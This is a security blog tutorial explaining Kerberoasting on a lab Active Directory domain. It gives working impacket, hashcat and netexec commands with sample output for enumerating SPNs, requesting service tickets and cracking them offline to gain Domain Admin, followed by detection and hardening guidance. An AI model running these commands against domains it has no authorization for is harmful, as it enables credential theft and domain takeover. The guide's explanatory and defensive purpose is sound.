0
Network Security ADVANCED 13 min read Updated

Kerberoasting Explained: Cracking Service Tickets Offline

Kerberoasting turns a single low-privilege domain account into crackable service-account passwords. Request service tickets, crack them offline with hashcat, and see how to detect and stop the whole technique.

founder & security researcher · 39 writeups
Kerberoasting Explained: Cracking Service Tickets Offline

Kerberoasting is a domain privilege escalation technique that lets any authenticated Active Directory user pull crackable password material for service accounts, entirely offline. You start with one ordinary domain account, no local admin and no special rights, and you walk out with a shot at the plaintext password of an account that may well run with far more privilege than yours. Nothing about the request looks abnormal to the domain controller, and every attempt at cracking happens on your own machine where no defender can see it.

This guide builds the picture from the ground up: a short Kerberos refresher, what a service principal name really is, why the ticket you get back is crackable in the first place, the exact impacket and hashcat commands, a full worked example on a lab domain, and then the detection and defense side so you know both ends of the fight.

Scope

Everything here is for a lab you own or a domain you are explicitly authorized to assess. The examples use the project lab domain lab.0xpriv.dev with a domain controller at 10.10.10.2. Requesting tickets or cracking credentials against Active Directory you do not own is a crime.

01Where Kerberoasting fits in a domain attack

Kerberoasting usually shows up right after you get your first foothold in a domain. You have valid credentials for some low-value user, maybe from a password spray or a config file, and now you want to climb. The technique converts that plain foothold into a password-cracking problem against service accounts, and it does so without exploiting a bug. It abuses Kerberos exactly as the protocol was designed to behave, which is why it has stayed useful for more than a decade.

The appeal for an operator is the quiet of it. You send a request that thousands of legitimate clients send every hour, you receive a normal response, and the expensive part, the actual password guessing, never touches the network again. The diagram below shows the shape of that request.

the kerberoast request
Domain userany valid account TGS-REQ (SPN) KDC on the DC10.10.10.2 TGS-REP Service ticketencrypted with service key

02A Kerberos refresher: KDC, TGT and TGS

A quick refresher on the Kerberos exchange makes the rest of this obvious, so here is the short version framed for the attack. Authentication in an Active Directory domain runs through the Key Distribution Center, the KDC, which lives on every domain controller and offers two services: the Authentication Service and the Ticket Granting Service.

You prove who you are

Your client sends an AS-REQ to the Authentication Service. The KDC answers with a Ticket Granting Ticket, the TGT, encrypted with the secret key of the krbtgt account so only the KDC can read it back.

You ask for access to a service

When you want to reach a service, your client sends a TGS-REQ that carries the TGT plus the name of the service you want. This is the step the whole technique hinges on.

The KDC hands you a service ticket

The Ticket Granting Service returns a TGS-REP containing a service ticket. Part of that ticket is encrypted with the long-term key of the account that owns the service, so the service can later validate it.

The KDC does not check whether you are actually allowed to use the service when it issues the ticket. Authorization is the service's job at the moment you connect. The KDC will happily build and encrypt a service ticket for any service you name, and that willingness is the gap the attack drives through.

03What an SPN is and why any user can ask for a ticket

A service principal name, or SPN, is the label Kerberos uses to find which account owns a given service. It is stored in the servicePrincipalName attribute on a user or computer object and reads like a protocol and host pair, for example MSSQLSvc/sql01.lab.0xpriv.dev:1433 for a SQL Server instance or HTTP/web01.lab.0xpriv.dev for a web service. When a client wants that service, it asks the KDC for a ticket by SPN, and the KDC looks up the owning account to pick the encryption key.

The part that matters: any authenticated domain user can request a service ticket for any SPN. That is not a misconfiguration, it is the design. Kerberos issues tickets freely and leaves the access decision to the service, so a normal low-privilege account can ask for tickets to services it will never legitimately touch. Services configured to run as regular user accounts (rather than computer or managed accounts) are the targets, because their passwords are set by a human and tend to be weak and rarely rotated.

powershell
# 0xpriv.dev/network  -- list user accounts that carry an SPN
# built-in on a domain-joined host, no extra tooling required
setspn -Q */*

# or with an LDAP filter against the DC, user objects only
# (&(samAccountType=805306368)(servicePrincipalName=*))

That LDAP filter is the heart of enumeration: samAccountType=805306368 limits results to user objects, and servicePrincipalName=* keeps only those with an SPN set. Those accounts are your candidate list.

04Why a service ticket cracks offline: RC4 versus AES

The reason a service ticket is crackable comes down to how its encrypted portion is keyed. The KDC encrypts part of the service ticket with a key derived from the service account's password. If you can guess the password, you derive the same key, decrypt that portion, and confirm the guess. Because the ticket is in your hands, you test guesses on your own hardware as fast as it will go.

How the key is derived depends on the encryption type the KDC chose for the ticket, and this is where the attack gets its speed. The table shows the types you will meet and the matching hashcat mode.

Encryption typeKey derivationhashcat mode
etype 23 (RC4-HMAC)Key is the NT hash of the password, a single MD4, no salt, no iterations13100
etype 17 (AES128)PBKDF2 with 4096 iterations and a salt19600
etype 18 (AES256)PBKDF2 with 4096 iterations and a salt19700

RC4 is the gift. Its key is just the NT hash, so each candidate password costs one MD4 and one RC4 check, and a commodity GPU grinds through hundreds of millions of guesses a second. The AES types run the password through PBKDF2 with 4096 iterations and a per-account salt, so the same wordlist runs orders of magnitude slower. This is exactly why attackers try to make the KDC hand back an RC4 ticket, and why requiring AES is a real defense rather than a checkbox.

05Finding kerberoastable accounts

Finding the accounts worth roasting is just the enumeration step turned into a list you can act on. You want user accounts with an SPN, and ideally you want to know which ones sit in privileged groups so you spend cracking time where it pays. impacket can list SPNs without requesting a single ticket, which keeps you quiet while you decide on targets.

bash
# 0xpriv.dev/network  -- enumerate SPNs only, request nothing yet
GetUserSPNs.py lab.0xpriv.dev/jdoe:'Winter2026!' -dc-ip 10.10.10.2
service accounts that carry an SPN
$ GetUserSPNs.py lab.0xpriv.dev/jdoe:'Winter2026!' -dc-ip 10.10.10.2
ServicePrincipalName            Name       MemberOf                            PasswordLastSet
------------------------------  ---------  ----------------------------------  -------------------
MSSQLSvc/sql01.lab.0xpriv.dev   svc_sql    CN=Domain Admins,CN=Users,DC=lab..  2021-03-14 09:12:01
HTTP/web01.lab.0xpriv.dev       svc_web    CN=Web Admins,CN=Users,DC=lab..     2022-08-02 15:44:20

The MemberOf column is the tell. An account like svc_sql sitting in Domain Admins with a password set years ago is the whole reason the technique is worth running. One crackable password there and the domain is yours.

06Requesting tickets with impacket GetUserSPNs

Requesting the actual tickets is the same tool with one extra flag. The -request switch tells GetUserSPNs.py to go past enumeration and pull a TGS-REP for each SPN it finds, then print the encrypted portion in hashcat's format. Point it at the domain controller, give it your low-privilege credentials, and save the output.

bash
# 0xpriv.dev/network  -- request service tickets for every SPN and save them
GetUserSPNs.py lab.0xpriv.dev/jdoe:'Winter2026!' -dc-ip 10.10.10.2 \
  -request -outputfile roast.txt

# target a single account instead of everything
GetUserSPNs.py lab.0xpriv.dev/jdoe:'Winter2026!' -dc-ip 10.10.10.2 \
  -request-user svc_sql -outputfile roast.txt
a ticket pulled in hashcat format
$ cat roast.txt
$krb5tgs$23$*svc_sql$LAB.0XPRIV.DEV$MSSQLSvc/sql01.lab.0xpriv.dev~1433*$
a1b2c3d4e5f60718293a4b5c6d7e8f90$9f8e7d6c5b4a39281706f5e4d3c2b1a0...

That string is one service ticket. The $krb5tgs$23$ prefix tells you it came back as RC4, which is the fast case for cracking. If your output starts with $krb5tgs$18$ instead, the KDC gave you AES256 and you are in for a much slower run. Some tools can nudge the KDC toward RC4 by advertising only that type in the request, but a domain that has disabled RC4 will simply refuse.

07Cracking the ticket offline with hashcat

Cracking the ticket offline is where the quiet part of the attack lives, and it is just hashcat against a wordlist. Pick the mode that matches the encryption type in the hash, feed it a dictionary, and let the GPU work. Mode 13100 handles the RC4 tickets, and mode 19700 handles AES256.

text
etype 23 / RC4    ->  hashcat -m 13100
etype 18 / AES256 ->  hashcat -m 19700
etype 17 / AES128 ->  hashcat -m 19600
bash
# 0xpriv.dev/network  -- crack the RC4 ticket with a wordlist and rules
hashcat -m 13100 roast.txt rockyou.txt -r rules/best64.rule

# the AES256 case, same wordlist, far slower per guess
hashcat -m 19700 roast.txt rockyou.txt
a weak service password falling
$ hashcat -m 13100 roast.txt rockyou.txt -r rules/best64.rule
$krb5tgs$23$*svc_sql$LAB.0XPRIV.DEV$MSSQLSvc/...*$a1b2...:Summer2021!
Session..........: hashcat
Status...........: Cracked
Recovered........: 1/1 (100.00%) Digests

Why is this silent? Because once the TGS-REP is on disk, cracking sends nothing back to the domain controller. There is no login attempt, no lockout counter ticking, no failed-auth event. A defender watching authentication logs sees the single ticket request from earlier and then nothing, while your GPU chews through a billion guesses in a back room. The only window to catch the attack is that one request, which is why detection focuses there.

Reading the prefix

Always check the number after $krb5tgs$ before you start. A 23 is RC4 and cracks fast, an 18 is AES256 and may be impractical against a strong password. Running mode 13100 on an AES ticket just wastes time and reports nothing.

08A worked walkthrough on lab.0xpriv.dev

A full run on the lab ties the pieces together end to end. The setup is a single compromised account, jdoe, with no special rights, against the domain controller at 10.10.10.2. The goal is to turn that into Domain Admin.

Enumerate SPNs

Run GetUserSPNs.py without -request and read the MemberOf column. You spot svc_sql in Domain Admins with a stale password.

Request the ticket

Add -request-user svc_sql and save to roast.txt. The hash comes back with a $krb5tgs$23$ prefix, so it is RC4.

Crack offline

Run hashcat -m 13100 with a wordlist and a rule set. The password Summer2021! drops out in seconds.

Validate and move

Confirm the credential works, then use it like any other account. Since svc_sql is in Domain Admins, you now control the domain.

validating the cracked service account
$ nxc smb 10.10.10.2 -u svc_sql -p 'Summer2021!'
SMB  10.10.10.2  445  DC01  [+] lab.0xpriv.dev\svc_sql:Summer2021! (Pwn3d!)

The (Pwn3d!) marker from netexec means the account has admin rights on that host. From here a real engagement would document the finding and stop. The lesson for a defender is that the whole chain started with one weak password on an over-privileged service account.

why cracking stays invisible
Service ticketroast.txt hashcat + wordlistoffline, on your GPU Account passwordSummer2021! no packets reach 10.10.10.2 while cracking runs

09Detecting Kerberoasting

Detection has to happen at the ticket request, because that is the only moment the attack is visible. The event you care about is 4769, "A Kerberos service ticket was requested", logged on domain controllers. Every service ticket generates one, so the trick is separating a kerberoast burst from the constant hum of legitimate requests.

Watch for RC4 downgrade

A 4769 with ticket encryption type 0x17 (RC4) in a domain that otherwise uses AES is a strong signal. Attackers ask for RC4 on purpose, and most modern clients do not.

Flag fan-out from one account

One user requesting tickets for many distinct SPNs in a short window is the enumeration-then-request pattern. Normal users touch a handful of services, not dozens in a minute.

Plant a honeypot SPN

Create a decoy account with an SPN that no real service uses, give it no logon rights, and alert on any 4769 that names it. Legitimate traffic never asks for it, so a request is almost certainly an attacker enumerating.

Filter out computer accounts (the ones ending in $) and known service hosts before alerting, or the noise will bury the signal. The honeypot account is the highest-value detection here because it has near zero false positives.

10Shutting Kerberoasting down

Shutting the technique down is about removing the two things it needs: a crackable password and an easy RC4 ticket. You cannot stop users from requesting service tickets, that is Kerberos working as intended, so the fix is to make the tickets worthless to crack and to limit the blast radius when one does fall.

powershell
# 0xpriv.dev/network  -- move a service to a group managed service account
# the gMSA password is 240 chars, random, and rotated by the domain automatically
New-ADServiceAccount -Name svc_sql_gmsa -DNSHostName sql01.lab.0xpriv.dev `
  -PrincipalsAllowedToRetrieveManagedPassword "SQL01$"

# force AES only on an account you must keep as a normal user
Set-ADUser svc_sql -KerberosEncryptionType AES128,AES256
How to shut it down
Use gMSA or dMSA for services. A group managed service account gets a 240-character random password that the domain rotates on its own, so there is nothing a wordlist will ever find.
If an account must stay a normal user, make the password long and random. 25 or more random characters defeats offline cracking in practice even against RC4.
Require AES and disable RC4. Setting the supported encryption types to AES only removes the fast path and makes any ticket far more expensive to crack.
Apply least privilege. Keep service accounts out of Domain Admins and other high groups so a cracked password does not hand over the domain.
Monitor event 4769. Alert on RC4 downgrades, fan-out from one account, and any hit on a honeypot SPN so the one visible moment does not pass unnoticed.

11FAQ

Does Kerberoasting need admin rights to pull off?FAQ

No. Any authenticated domain account can request service tickets, which is the entire point of the technique. You climb from a low-privilege user toward a service account, so no elevated access is required to start.

Why is cracking a service ticket so hard to detect?FAQ

Because the cracking happens offline on the attacker's own hardware. Once the ticket is saved, no further traffic goes to the domain controller, so there are no failed logons or lockouts to alert on. The only visible event is the original ticket request, event 4769.

What is the difference between Kerberoasting and AS-REP roasting?FAQ

Kerberoasting targets service accounts with an SPN and cracks the service ticket (TGS-REP), hashcat modes 13100 for RC4 and 19700 for AES256. AS-REP roasting targets accounts that have pre-authentication disabled and cracks the AS-REP instead, hashcat mode 18200. Different precondition, similar offline-cracking idea.

Why does RC4 crack so much faster than AES?FAQ

An RC4 ticket is keyed directly off the account's NT hash, a single MD4 with no salt or iterations, so a GPU tests hundreds of millions of guesses a second. AES keys run the password through PBKDF2 with 4096 iterations and a salt, which slows each guess by orders of magnitude.

Does moving to a gMSA really stop the attack?FAQ

For practical purposes, yes. The ticket is still requestable, but a group managed service account uses a 240-character random password that the domain rotates automatically, so no wordlist or brute force will recover it in any useful time. It removes the crackable password the attack depends on.

references

Was this writeup useful?
Alex Rowan Founder & Security Researcher at 0xpriv

Founder of 0xpriv, covering offensive security, web application vulnerabilities, and practical security research through PHP, Python, and hands-on technical analysis.

related writeups

more in Network →

discussion

0 comments
`code` supported · comments are reviewed before they appear